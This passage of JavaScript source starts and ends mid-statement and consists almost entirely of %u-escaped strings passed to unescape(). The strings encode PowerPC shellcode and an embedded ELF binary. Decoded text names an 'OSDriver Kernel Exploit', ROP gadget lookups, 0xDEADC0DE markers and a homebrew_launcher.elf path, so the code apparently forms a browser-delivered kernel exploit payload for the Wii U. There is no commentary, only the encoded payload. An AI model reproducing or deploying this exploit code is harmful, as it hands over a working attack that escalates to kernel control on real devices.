unescape("%u3880%u0000%u38a5%u2c0c%u38c1%u0028%u7fe9%u03a6%u4e80%u0421%u3ca0%u0180%u8061%u0094%u3880%u0000%u38a5%u2c1e%u38c1%u002c%u7fe9%u03a6%u4e80%u0421%u8121%u0018%u3c60%ua000%u7d29%u03a6%u4e80%u0421"); + str += unescape("%u2f83%u0000%u40be%u0010%u3861%u0008%u4bff%uf53d%u4800%u0144%u3ca0%u0180%u7fe9%u03a6%u8061%u0094%u3880%u0000%u38a5%u2c24%u38c1%u0070%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0094%u3880%u0000"); + str += unescape("%u38a5%u2c2c%u38c1%u006c%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0094%u3880%u0000%u38a5%u2c35%u38c1%u0068%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0094%u3880%u0000%u38a5%u2c47%u38c1%u0064"); + str += unescape("%u4e80%u0421%u3ca0%u0180%u3880%u0000%u38a5%u2c59%u38c1%u0044%u7fe9%u03a6%u8061%u0094%u4e80%u0421%u8121%u0070%u7d29%u03a6%u4e80%u0421%u8121%u0064%u7c7e%u1b78%u3880%u0040%u3860%u0100%u7d29%u03a6"); + str += unescape("%u4e80%u0421%u7c7f%u1b79%u40a2%u0014%u3c80%u0180%u3861%u0008%u3884%u2c68%u4bff%uf965%u8121%u0014%u3880%u0000%u38a0%u0100%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u8121%u0068%u7fe4%ufb78%u38a0%u0003"); + str += unescape("%u38c0%u0000%u38e0%u0000%u7d29%u03a6%u7fc3%uf378%u4e80%u0421%u8121%u006c%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u8121%u0044%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u3c60%uffea%u6063%uaa58%u3880%u0000"); + str += unescape("%u4bff%uf3b9%u3c60%uffea%u6063%uaa5c%u3c80%u1400%u4bff%uf3a9%u3fe0%u0102%u3ca0%u0180%u63ff%ub790%u8061%u0094%u7fe9%u03a6%u3880%u0000%u38a5%u2c96%u38c1%u0088%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6"); + str += unescape("%u8061%u0094%u3880%u0000%u38a5%u2ca5%u38c1%u0084%u4e80%u0421%u3ca0%u0180%u38a5%u2cb4%u38c1%u0080%u7fe9%u03a6%u8061%u0094%u3880%u0000%u4e80%u0421%u8121%u001c%u3880%u0020%u3860%u4000%u7d29%u03a6"); + str += unescape("%u4e80%u0421%u8121%u001c%u7c7e%u1b78%u3880%u0008%u3860%u1000%u7d29%u03a6%u4e80%u0421%u7c7f%u1b79%u4182%u000c%u2f9e%u0000%u40be%u0014%u3c80%u0180%u3861%u0008%u3884%u2cc9%u4bff%uf845%u8161%u0088"); + str += unescape("%u3c80%u0180%u7fe3%ufb78%u3884%u1270%u38a0%u0001%u38c1%u0008%u38fe%u4000%u3900%u4000%u3920%u0000%u3940%u001a%u7d69%u03a6%u4e80%u0421%u2f83%u0000%u40be%u0014%u3c80%u0180%u3861%u0008%u3884%u2d05"); + str += unescape("%u4bff%uf7fd%u8121%u0084%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u8121%u0080%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u2f83%u0000%u409e%u0028%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000"); + str += unescape("%u6000%u0000%u6000%u0000%u6000%u0000%u4bff%uffc8%u3c60%uffea%u3c80%u0180%u6063%ua174%u3884%u11b8%u4bff%uf259%u8081%u0008%u3ca0%u0180%u3920%u0000%u3861%u0008%u38a5%u2d39%u38c1%u0078%u38e1%u007c"); + str += unescape("%u3900%u0001%u9121%u007c%u9121%u0078%u4bff%ufa99%u7c6a%u1b79%u8081%u0008%u41a2%u0018%u8061%u007c%u7c84%u5214%u80a1%u0078%u3c63%uc000%u4bff%ue7a5%u8081%u0008%u3ca0%u0180%u3920%u0000%u3861%u0008"); + str += unescape("%u38a5%u2d3f%u38c1%u0070%u38e1%u0074%u3900%u0000%u9121%u0074%u9121%u0070%u4bff%ufa4d%u7c64%u1b79%u41a2%u001c%u8061%u0074%u8121%u0008%u80a1%u0070%u3c63%uc000%u7c89%u2214%u4bff%ue759%u8081%u0008"); + str += unescape("%u3ca0%u0180%u3920%u0000%u3861%u0008%u38a5%u2d47%u38c1%u0068%u38e1%u006c%u3900%u0000%u9121%u006c%u9121%u0068%u4bff%ufa01%u7c64%u1b79%u41a2%u001c%u8061%u006c%u8121%u0008%u80a1%u0068%u3c63%uc000"); + str += unescape("%u7c89%u2214%u4bff%ue70d%u8081%u0008%u3ca0%u0180%u3920%u0000%u3861%u0008%u38a5%u2d4d%u38c1%u0044%u38e1%u0064%u3900%u0000%u9121%u0064%u9121%u0044%u4bff%uf9b5%u7c64%u1b79%u41a2%u001c%u8061%u0064"); + str += unescape("%u8121%u0008%u80a1%u0044%u3c63%uc000%u7c89%u2214%u4bff%ue6c1%u3c60%uffea%u3c80%u0180%u6063%ua1b8%u3884%u0058%u4bff%uf115%u3c60%uffe8%u3c80%ufff0%u6063%u4d40%u6084%u2274%u4bff%uf101%u3c60%uffe8"); + str += unescape("%u3c80%ufff0%u6063%u5140%u6084%u2274%u4bff%uf0ed%u3c60%uffe8%u3c80%ufff0%u6063%u5540%u6084%u2274%u4bff%uf0d9%u3c60%uffea%u3c80%ufff0%u6063%u9db0%u6084%u2274%u4bff%uf0c5%u3c60%uffe8%u3c80%ufff0"); + str += unescape("%u6063%u4d44%u6084%u2294%u4bff%uf0b1%u3c60%uffe8%u3c80%ufff0%u6063%u5144%u6084%u2294%u4bff%uf09d%u3c60%uffe8%u3c80%ufff0%u6063%u5544%u6084%u2294%u4bff%uf089%u3c60%uffea%u3c80%ufff0%u6063%u9db4"); + str += unescape("%u6084%u2294%u4bff%uf075%u4bff%ue615%u8121%u0014%u3880%u0000%u38a0%u0020%u7d29%u03a6%u3861%u0044%u4e80%u0421%u3c60%uc080%u3920%u0214%u6063%u1404%u3881%u0064%u38a0%u0004%u9121%u0064%u4bff%ue5d5"); + str += unescape("%u3d20%udead%u3c60%uc080%u6129%uc0de%u6063%u1400%u3881%u0064%u38a0%u0004%u9121%u0064%u4bff%ue5b5%u3c60%uc080%u3881%u0064%u6063%u1300%u38a0%u0004%u4bff%ue5a1%u3c60%uc080%u3920%u0000%u6063%u1304"); + str += unescape("%u3881%u0064%u38a0%u0004%u9121%u0064%u4bff%ue585%u3d20%u0102%u3c60%uc080%u6129%ua31c%u6063%u1500%u9121%u0044%u3d20%u0102%u6129%ub790%u3881%u0044%u9121%u0048%u3d20%uffe8%u6129%u4c70%u38a0%u0020"); + str += unescape("%u9121%u0050%u3d20%uffe8%u6129%u5070%u9121%u0054%u3d20%uffe8%u6129%u5470%u9121%u0058%u3d20%uffea%u6129%u9ce0%u9121%u005c%u3d20%uffea%u6129%ua0e0%u9121%u0060%u3d20%u1005%u6129%ud180%u9121%u004c"); + str += unescape("%u4bff%ue511%u8121%u0008%u3c60%uc201%u38a0%u0004%u6063%uc55c%u8129%u0018%u3881%u0064%u5529%u01ba%u6529%u4800%u6129%u0003%u9121%u0064%u4bff%ue4e5%u8121%u0028%u3c60%u0101%u3880%u0004%u6063%uc55c"); + str += unescape("%u7d29%u03a6%u4e80%u0421%u8121%u0020%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u8121%u0020%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u8121%u002c%u7d29%u03a6%u4e80%u0421%u3961%u00a0%u4800%u0044%u81cb%uffb8"); + str += unescape("%u81eb%uffbc%u820b%uffc0%u822b%uffc4%u824b%uffc8%u826b%uffcc%u828b%uffd0%u82ab%uffd4%u82cb%uffd8%u82eb%uffdc%u830b%uffe0%u832b%uffe4%u834b%uffe8%u836b%uffec%u838b%ufff0%u83ab%ufff4%u83cb%ufff8"); + str += unescape("%u800b%u0004%u83eb%ufffc%u7c08%u03a6%u7d61%u5b78%u4e80%u0020%u3800%u3200%u4400%u0002%u4e80%u0020%u3800%u3300%u4400%u0002%u4e80%u0020%u3800%u4700%u4400%u0002%u4e80%u0020%u3800%u4800%u4400%u0002"); + str += unescape("%u4e80%u0020%u8061%u0008%u8081%u000c%u8001%u0014%u7c08%u03a6%u3821%u0010%u4e80%u0020%u8001%u0014%u83e1%u000c%u7c08%u03a6%u83c1%u0008%u3821%u0010%u4e80%u0020%uba81%u0008%u8001%u003c%u7c08%u03a6"); + str += unescape("%u3821%u0038%u4e80%u0020%u9421%uffe0%ubf61%u000c%u7c08%u02a6%u7c7e%u1b78%u7c9f%u2378%u9001%u0024%u4452%u5648%u4158%u0000%ufff0%u2274%ufff0%u2294%u4f53%u5969%u656c%u6454%u6872%u6561%u6400%u6d65"); + str += unescape("%u6d73%u6574%u004f%u5341%u6c6c%u6f63%u4672%u6f6d%u5379%u7374%u656d%u004f%u5346%u7265%u6554%u6f53%u7973%u7465%u6d00%u494d%u5f53%u6574%u4465%u7669%u6365%u5374%u6174%u6500%u494d%u5f43%u6c6f%u7365"); + str += unescape("%u0049%u4d5f%u4f70%u656e%u004f%u5353%u6372%u6565%u6e50%u7574%u466f%u6e74%u4578%u004f%u5353%u6372%u6565%u6e43%u6c65%u6172%u4275%u6666%u6572%u4578%u0044%u4346%u6c75%u7368%u5261%u6e67%u6500%u4f53"); + str += unescape("%u5363%u7265%u656e%u466c%u6970%u4275%u6666%u6572%u7345%u7800%u4f53%u5363%u7265%u656e%u4765%u7442%u7566%u6665%u7253%u697a%u6545%u7800%u4f53%u5363%u7265%u656e%u496e%u6974%u004f%u5353%u6372%u6565"); + str += unescape("%u6e53%u6574%u4275%u6666%u6572%u4578%u004f%u5344%u7269%u7665%u7220%u4b65%u726e%u656c%u2045%u7870%u6c6f%u6974%u005f%u4578%u6974%u004f%u5343%u7265%u6174%u6554%u6872%u6561%u6400%u4f53%u5265%u7375"); + str += unescape("%u6d65%u5468%u7265%u6164%u004f%u5349%u7354%u6872%u6561%u6454%u6572%u6d69%u6e61%u7465%u6400%u4761%u6467%u6574%u206e%u6f74%u2066%u6f75%u6e64%u2100%u6778%u322e%u7270%u6c00%u5f5f%u5050%u4345%u7869"); + str += unescape("%u7400%u4443%u496e%u7661%u6c69%u6461%u7465%u5261%u6e67%u6500%u4443%u546f%u7563%u6852%u616e%u6765%u004f%u5345%u6666%u6563%u7469%u7665%u546f%u5068%u7973%u6963%u616c%u004f%u5345%u7869%u7454%u6872"); + str += unescape("%u6561%u6400%u4758%u3253%u6574%u5365%u6d61%u7068%u6f72%u6500%u4758%u3246%u6c75%u7368%u0046%u6169%u6c65%u6420%u746f%u2063%u7265%u6174%u6520%u7468%u7265%u6164%u0000%u0000%u7f45%u4c46%u0102%u0100"); + str += unescape("%u0000%u0000%u0000%u0000%u0002%u0014%u0000%u0001%u0080%u04d0%u0000%u0034%u0000%u0c24%u0000%u0000%u0034%u0020%u0001%u0028%u0004%u0003%u0000%u0001%u0000%u0054%u0080%u0000%u0080%u0000%u0000%u0bb6"); + str += unescape("%u0000%u0bb6%u0000%u0005%u0000%u0004%u7ca8%u02a6%u7ca9%u03a6%u7ce8%u03a6%u7cb0%u8aa6%u7cba%u8ba6%u7cb1%u8aa6%u7cbb%u8ba6%u80a3%u0034%u80c3%u0038%u80e3%u003c%u8103%u0040%u8123%u0044%u8143%u0048"); + str += unescape("%u8163%u004c%u8063%u0050%u4c00%u012c%u7ca7%u01a4%u4e80%u0420%u7c08%u02a6%u9421%uffe0%ubf61%u000c%u7c9f%u2378%u9001%u0024%u83c4%u001c%u2f9e%u0000%u40be%u000c%u3860%u0000%u4800%u0180%ua124%u002c"); + str += unescape("%u2f89%u0000%u41be%ufff0%ua124%u002a%u2f89%u0020%u409e%uffe4%u7c7d%u1b78%u7fc4%uf214%u3b80%u0000%ua13f%u002c%u7f9c%u4800%u409c%u0084%u813e%u0000%u2f89%u0001%u40be%u006c%u80be%u0010%u813e%u0014"); + str += unescape("%u7f85%u4840%u41bd%uffb0%u2f85%u0000%u41be%u0054%u837e%u000c%u813d%u0008%u809e%u0004%u7f63%udb78%u7d29%u03a6%u7c9f%u2214%u4e80%u0421%u813d%u0014%u7f63%udb78%u809e%u0010%u7d29%u03a6%u4e80%u0421"); + str += unescape("%u813e%u0018%u712a%u0001%u41a2%u0018%u813d%u0018%u807e%u000c%u809e%u0014%u7d29%u03a6%u4e80%u0421%u3b9c%u0001%u3bde%u0020%u4bff%uff78%u837f%u0020%u3b80%u0000%u7f7f%uda14%u7f7e%udb78%ua13f%u0030"); + str += unescape("%u7f9c%u4800%u409c%u00b0%ua15f%u0032%u813e%u0000%u1d4a%u0028%u7d5b%u5214%u814a%u0010%u7d49%u5214%u7d3f%u5214%u7d5f%u50ae%u2f8a%u002e%u40be%u007c%u8949%u0001%u2b8a%u0062%u40be%u0018%u8949%u0002"); + str += unescape("%u2f8a%u0073%u40be%u0064%u8929%u0003%u4800%u0028%u2b8a%u0073%u40be%u0054%u8949%u0002%u2f8a%u0062%u40be%u0048%u8949%u0003%u2f8a%u0073%u40be%u003c%u8929%u0004%u2f89%u0073%u40be%u0030%u813d%u000c"); + str += unescape("%u3880%u0000%u807e%u000c%u7d29%u03a6%u80be%u0014%u4e80%u0421%u813d%u0014%u807e%u000c%u809e%u0014%u7d29%u03a6%u4e80%u0421%u3b9c%u0001%u3bde%u0028%u4bff%uff4c%u807f%u0018%u3961%u0020%u4800%u0768"); + str += unescape("%u7c08%u02a6%u9421%ufbe8%u3920%uffff%u9121%u03ec%u9001%u041c%ubf21%u03fc%u7c7f%u1b78%u8123%u0000%u7c99%u2378%u3860%u1700%u3880%u0004%u7d29%u03a6%u7cba%u2b78%u4e80%u0421%u7c7e%u1b79%u4182%u0294"); + str += unescape("%u813f%u0000%u3860%u0a80%u3880%u0004%u7d29%u03a6%u4e80%u0421%u7c7d%u1b79%u40a2%u0018%u813f%u0004%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u4800%u0264%u813f%u0024%u7d29%u03a6%u4e80%u0421%u813f%u0030"); + str += unescape("%u7fa3%ueb78%u7d29%u03a6%u4e80%u0421%u813f%u0028%u3880%u0000%u38a0%uffff%u7d29%u03a6%u7fc3%uf378%u4e80%u0421%u813f%u0034%u7fc3%uf378%u7fa4%ueb78%u38a0%u0000%u38c1%u0008%u38e0%uffff%u7d29%u03a6"); + str += unescape("%u4e80%u0421%u2f83%u0000%u419e%u0014%u3c60%u0080%u813f%u0010%u3863%u097c%u4800%u003c%u813f%u0038%u7fc3%uf378%u7fa4%ueb78%u38a1%u0008%u38c1%u0308%u38e0%u0080%u3900%uffff%u7d29%u03a6%u4e80%u0421"); + str += unescape("%u2f83%u0000%u419e%u001c%u3c60%u0080%u813f%u0010%u3863%u0995%u7d29%u03a6%u4e80%u0421%u4800%u0178%u813f%u0040%u3ca0%u0080%u3cc0%u0080%u7fc3%uf378%u7fa4%ueb78%u38a5%u09a6%u38c6%u09e8%u38e1%u03ec"); + str += unescape("%u3900%uffff%u7d29%u03a6%u4e80%u0421%u2c03%u0000%u4182%u0024%u813f%u003c%u7fc3%uf378%u7fa4%ueb78%u38a1%u0308%u38c0%uffff%u7d29%u03a6%u4e80%u0421%u4800%u0124%u813f%u0044%u7fa4%ueb78%u9061%u0398"); + str += unescape("%u38c1%u0388%u7fc3%uf378%u80a1%u03ec%u38e0%uffff%u7d29%u03a6%u4e80%u0421%u8061%u0398%u2f83%u0000%u41be%u0024%u813f%u0000%u3863%u003f%u5463%u0032%u3880%u0040%u7d29%u03a6%u4e80%u0421%u7c7b%u1b79"); + str += unescape("%u40a2%u001c%u813f%u0010%u3c60%u0080%u3863%u09ea%u3b60%u0000%u7d29%u03a6%u4e80%u0421%u3b80%u0000%u80e1%u0398%u7f9c%u3840%u409c%u0038%u817f%u0048%u7fc3%uf378%u7fa4%ueb78%u7cbb%ue214%u38c0%u0001"); + str += unescape("%u7cfc%u3850%u8101%u03ec%u3920%u0000%u3940%uffff%u7d69%u03a6%u4e80%u0421%u2c03%u0000%u41a1%u0028%u8121%u0398%u7f9c%u4800%u419e%u0024%u813f%u0004%u7f63%udb78%u3b80%u0000%u7d29%u03a6%u4e80%u0421"); + str += unescape("%u4800%u0018%u7f9c%u1a14%u4bff%uff98%u9379%u0000%u939a%u0000%u3b80%u0001%u813f%u004c%u7fa4%ueb78%u80a1%u03ec%u7fc3%uf378%u7d29%u03a6%u38c0%uffff%u4e80%u0421%u813f%u003c%u7fc3%uf378%u7fa4%ueb78"); + str += unescape("%u38a1%u0308%u38c0%uffff%u7d29%u03a6%u4e80%u0421%u4800%u0008%u3b80%u0000%u813f%u002c%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u813f%u0004%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u813f%u0004%u7fa3%ueb78"); + str += unescape("%u7d29%u03a6%u4e80%u0421%u7f83%ue378%u4800%u0008%u3860%u0000%u3961%u0418%u4800%u0484%u7c08%u02a6%u9421%uff70%u3d20%u0080%u6129%u1500%ubec1%u0068%u9001%u0094%u7c79%u1b78%u3c60%u0080%u7c9a%u2378"); + str += unescape("%u83c9%u0000%u3881%u0064%u3863%u0a0a%u83e9%u0004%u7fc9%u03a6%u3fa0%u0080%u3f80%udead%u3ee0%u0080%u3ec0%u0080%u63bd%u1300%u639c%uc0de%u3b60%u0000%u4e80%u0421%u3920%u0000%u3ca0%u0080%u7fe9%u03a6"); + str += unescape("%u9121%u0060%u3880%u0001%u38a5%u0a13%u38c1%u0060%u8061%u0064%u3af7%u0b70%u3ad6%u0b29%u4e80%u0421%u8121%u0060%u3ca0%u0080%u7fe9%u03a6%u8129%u0000%u3880%u0001%u38a5%u0a2d%u38c1%u0060%u9121%u0008"); + str += unescape("%u8061%u0064%u4e80%u0421%u8121%u0060%u3ca0%u0080%u7fe9%u03a6%u8129%u0000%u3880%u0000%u38a5%u0a42%u38c1%u0010%u9121%u000c%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a49"); + str += unescape("%u38c1%u0014%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a50%u38c1%u0018%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a58%u38c1%u001c%u8061%u0064"); + str += unescape("%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a65%u38c1%u0020%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a77%u38c1%u0024%u8061%u0064%u4e80%u0421%u3ca0%u0080"); + str += unescape("%u7fe9%u03a6%u3880%u0000%u38a5%u0a85%u38c1%u0028%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a8a%u38c1%u002c%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000"); + str += unescape("%u38a5%u0a91%u38c1%u0030%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a9f%u38c1%u0034%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0aab%u38c1%u0038"); + str += unescape("%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0aba%u38c1%u003c%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0acb%u38c1%u0040%u8061%u0064%u4e80%u0421"); + str += unescape("%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0ad3%u38c1%u0044%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0add%u38c1%u0048%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6"); + str += unescape("%u3880%u0000%u38a5%u0ae8%u38c1%u004c%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0af6%u38c1%u0050%u8061%u0064%u4e80%u0421%u3ca0%u0080%u38a5%u0b01%u38c1%u0054%u7fe9%u03a6"); + str += unescape("%u3880%u0000%u8061%u0064%u4e80%u0421%u3c60%u0080%u7fc9%u03a6%u3881%u005c%u3863%u0b0d%u3fc0%u0080%u63de%u1304%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u8061%u005c%u3880%u0000%u38a5%u0b18%u38c1%u0058"); + str += unescape("%u3fe0%u0080%u63ff%u1400%u4e80%u0421%u813d%u0000%u7f89%ue000%u419e%u0068%u813e%u0000%u2f89%u0000%u41be%u005c%u8121%u0008%u3880%u0004%u807e%u0000%u7d29%u03a6%u4e80%u0421%u7c78%u1b79%u4182%u0038"); + str += unescape("%u8121%u0010%u809d%u0000%u7d29%u03a6%u80be%u0000%u4e80%u0421%u3861%u0008%u7f04%uc378%u4bff%uf839%u8121%u000c%u907f%u0000%u7f03%uc378%u7d29%u03a6%u4e80%u0421%u939d%u0000%u937e%u0000%u813f%u0000"); + str += unescape("%u3f00%u0080%u6318%u1400%u7f89%ue000%u419e%u0010%u813f%u0000%u2f89%u0000%u409e%u0068%u3881%u0060%u3861%u0008%u38a1%u005c%u9361%u0060%u9361%u005c%u4bff%uf991%u8081%u0060%u7ec3%ub378%u2f84%u0000"); + str += unescape("%u419e%u0030%u3861%u0008%u4bff%uf7cd%u8121%u000c%u907f%u0000%u7d29%u03a6%u8061%u0060%u4e80%u0421%u813f%u0000%u2f89%u0000%u409e%uff24%u7ee3%ubb78%u8121%u0018%u7d29%u03a6%u4e80%u0421%u4bff%uff10"); + str += unescape("%u8138%u0000%u7f23%ucb78%u7f44%ud378%u7d29%u03a6%u4e80%u0421%u2f83%ufffd%u419e%u0030%u3d20%udead%u3860%u0000%u6129%uc0de%u3880%u0000%u9138%u0000%u8121%u0058%u7d29%u03a6%u4e80%u0421%u8121%u0028"); + str += unescape("%u7d29%u03a6%u4e80%u0421%u3d20%u0080%u7f23%ucb78%u6129%u1500%u7f44%ud378%u8129%u0008%u8129%u0000%u7d29%u03a6%u4e80%u0421%u3961%u0090%u4800%u0024%u81cb%uffb8%u81eb%uffbc%u820b%uffc0%u822b%uffc4"); + str += unescape("%u824b%uffc8%u826b%uffcc%u828b%uffd0%u82ab%uffd4%u82cb%uffd8%u82eb%uffdc%u830b%uffe0%u832b%uffe4%u834b%uffe8%u836b%uffec%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u800b%u0004%u83eb%ufffc%u7c08%u03a6"); + str += unescape("%u7d61%u5b78%u4e80%u0020%u4653%u4765%u744d%u6f75%u6e74%u536f%u7572%u6365%u2066%u6169%u6c65%u642e%u0053%u4420%u6d6f%u756e%u7420%u6661%u696c%u6564%u2e00%u2f76%u6f6c%u2f65%u7874%u6572%u6e61%u6c30"); + str += unescape("%u312f%u7769%u6975%u2f61%u7070%u732f%u686f%u6d65%u6272%u6577%u5f6c%u6175%u6e63%u6865%u722f%u686f%u6d65%u6272%u6577%u5f6c%u6175%u6e63%u6865%u722e%u656c%u6600%u7200%u4e6f%u7420%u656e%u6f75%u6768"); + str += unescape("%u206d%u656d%u6f72%u7920%u666f%u7220%u454c%u4620%u6669%u6c65%u2e00%u636f%u7265%u696e%u6974%u004d%u454d%u416c%u6c6f%u6346%u726f%u6d44%u6566%u6175%u6c74%u4865%u6170%u4578%u004d%u454d%u4672%u6565"); + str += unescape("%u546f%u4465%u6661%u756c%u7448%u6561%u7000%u6d65%u6d63%u7079%u006d%u656d%u7365%u7400%u4f53%u4661%u7461%u6c00%u4443%u466c%u7573%u6852%u616e%u6765%u0049%u4349%u6e76%u616c%u6964%u6174%u6552%u616e"); + str += unescape("%u6765%u005f%u5f6f%u735f%u736e%u7072%u696e%u7466%u0065%u7869%u7400%u4653%u496e%u6974%u0046%u5341%u6464%u436c%u6965%u6e74%u4578%u0046%u5344%u656c%u436c%u6965%u6e74%u0046%u5349%u6e69%u7443%u6d64"); + str += unescape("%u426c%u6f63%u6b00%u4653%u4765%u744d%u6f75%u6e74%u536f%u7572%u6365%u0046%u534d%u6f75%u6e74%u0046%u5355%u6e6d%u6f75%u6e74%u0046%u534f%u7065%u6e46%u696c%u6500%u4653%u4765%u7453%u7461%u7446%u696c"); + str += unescape("%u6500%u4653%u5265%u6164%u4669%u6c65%u0046%u5343%u6c6f%u7365%u4669%u6c65%u0073%u7973%u6170%u702e%u7270%u6c00%u5359%u5352%u656c%u6175%u6e63%u6854%u6974%u6c65%u0043%u6f75%u6c64%u206e%u6f74%u206c"); + str += unescape("%u6f61%u6420%u6669%u6c65%u202f%u7769%u6975%u2f61%u7070%u732f%u686f%u6d65%u6272%u6577%u5f6c%u6175%u6e63%u6865%u722f%u686f%u6d65%u6272%u6577%u5f6c%u6175%u6e63%u6865%u722e%u656c%u6600%u4661%u696c"); + str += unescape("%u6564%u2074%u6f20%u6c6f%u6164%u2045%u4c46%u202f%u7769%u6975%u2f61%u7070%u732f%u686f%u6d65%u6272%u6577%u5f6c%u6175%u6e63%u6865%u722f%u686f%u6d65%u6272%u6577%u5f6c%u6175%u6e63%u6865%u722e%u656c"); + str += unescape("%u6600%u002e%u7368%u7374%u7274%u6162%u002e%u7465%u7874%u002e%u6461%u7461%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000"); + str += unescape("%u0000%u0000%u0000%u000b%u0000%u0001%u0000%u0006%u0080%u0000%u0000%u0054%u0000%u097c%u0000%u0000%u0000%u0000%u0000%u0004%u0000%u0000%u0000%u0011%u0000%u0001%u0000%u0032%u0080%u097c%u0000%u09d0"); + str += unescape("%u0000%u023a%u0000%u0000%u0000%u0000%u0000%u0001%u0000%u0001%u0000%u0001%u0000%u0003%u0000%u0000%u0000%u0000%u0000%u0c0a%u0000%u0017%u0000%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u4f53%u5363"); + str += unescape("%u7265%u656e%u496e%u6974%u004f%u5353%u6372%u6565%u6e47%u6574%u4275%u6666%u6572%u5369%u7a65%u4578%u004f%u5353%u6372%u6565%u6e53%u6574%u4275%u6666%u6572%u4578%u004f%u5353%u6372%u6565%u6e43%u6c65"); + str += unescape("%u6172%u4275%u6666%u6572%u4578%u004f%u5353%u6372%u6565%u6e46%u6c69%u7042%u7566%u6665%u7273%u4578%u004f%u5353%u6372%u6565%u6e50%u7574%u466f%u6e74%u4578%u0073%u7973%u6170%u702e%u7270%u6c00%u5f53"); + str += unescape("%u5953%u4c61%u756e%u6368%u4d69%u6953%u7475%u6469%u6f00%u496e%u7661%u6c69%u6420%u656c%u6620%u6669%u6c65%u0063%u6f72%u6569%u6e69%u742e%u7270%u6c00%u6d65%u6d73%u6574%u004d%u454d%u416c%u6c6f%u6346"); + str += unescape("%u726f%u6d44%u6566%u6175%u6c74%u4865%u6170%u4578%u004d%u454d%u4672%u6565%u546f%u4465%u6661%u756c%u7448%u6561%u7000%u6d65%u6d63%u7079%u004f%u5345%u6666%u6563%u7469%u7665%u546f%u5068%u7973%u6963"); + str += unescape("%u616c%u0044%u4346%u6c75%u7368%u5261%u6e67%u6500%u4943%u496e%u7661%u6c69%u6461%u7465%u5261%u6e67%u6500%u5f45%u7869%u7400%u494d%u5f4f%u7065%u6e00%u494d%u5f43%u6c6f%u7365%u0049%u4d5f%u5365%u7444"); + str += unescape("%u6576%u6963%u6553%u7461%u7465%u004f%u5341%u6c6c%u6f63%u4672%u6f6d%u5379%u7374%u656d%u004f%u5346%u7265%u6554%u6f53%u7973%u7465%u6d00%u4e6f%u7420%u656e%u6f75%u6768%u206d%u656d%u6f72%u792e%u2045"); + str += unescape("%u7869%u7420%u616e%u6420%u7265%u2d65%u6e74%u6572%u2062%u726f%u7773%u6572%u2e00%u4f53%u4372%u6561%u7465%u5468%u7265%u6164%u004f%u5352%u6573%u756d%u6554%u6872%u6561%u6400%u4f53%u4973%u5468%u7265"); + str += unescape("%u6164%u5465%u726d%u696e%u6174%u6564%u0054%u6872%u6561%u6420%u6d65%u6d6f%u7279%u2061%u6c6c%u6f63%u6174%u696f%u6e20%u6661%u696c%u6564%u2e20%u4578%u6974%u2061%u6e64%u2072%u652d%u656e%u7465%u7220"); + str += unescape("%u6272%u6f77%u7365%u722e%u0046%u6169%u6c65%u6420%u746f%u2063%u7265%u6174%u6520%u7468%u7265%u6164%u2e20%u4578%u6974%u2061%u6e64%u2072%u652d%u656e%u7465%u7220%u6272%u6f77%u7365%u722e%u002e%u7465"); + str += unescape("%u7874%u002e%u726f%u6461%u7461%u002e%u6461%u7461%u002e%u6273%u7300%u0000%u0000%u003c%u0000%u0000%u017a%u5200%u047c%u4101%u1b0c%u0100%u0d0b%u1141%u7f8e%u128f%u1190%u1091%u0f92%u0e93%u0d94%u0c95"); + str += unescape("%u0b96%u0a97%u0998%u0899%u079a%u069b%u059c%u049d%u039e%u029f%u0100%u0000%u0000%u0038%u0000%u0044%uffff%ueddc%u0000%u0058%u0041%uce41%ucf41%ud041%ud141%ud241%ud341%ud441%ud541%ud641%ud741%ud841"); + str += unescape("%ud941%uda41%udb41%udc41%udd41%ude42%udf41%u0641%u410d%u0100%u0000%u2dd4%u0000%u2dd8%u0000%u2ddc%u0000%u2de0%u0000%u2de4%u0000%u2de8%u0000%u2dec%u0000%u2df0%u0000%u2df4%u0000%u2df8%u0000%u2dfc"); + str += 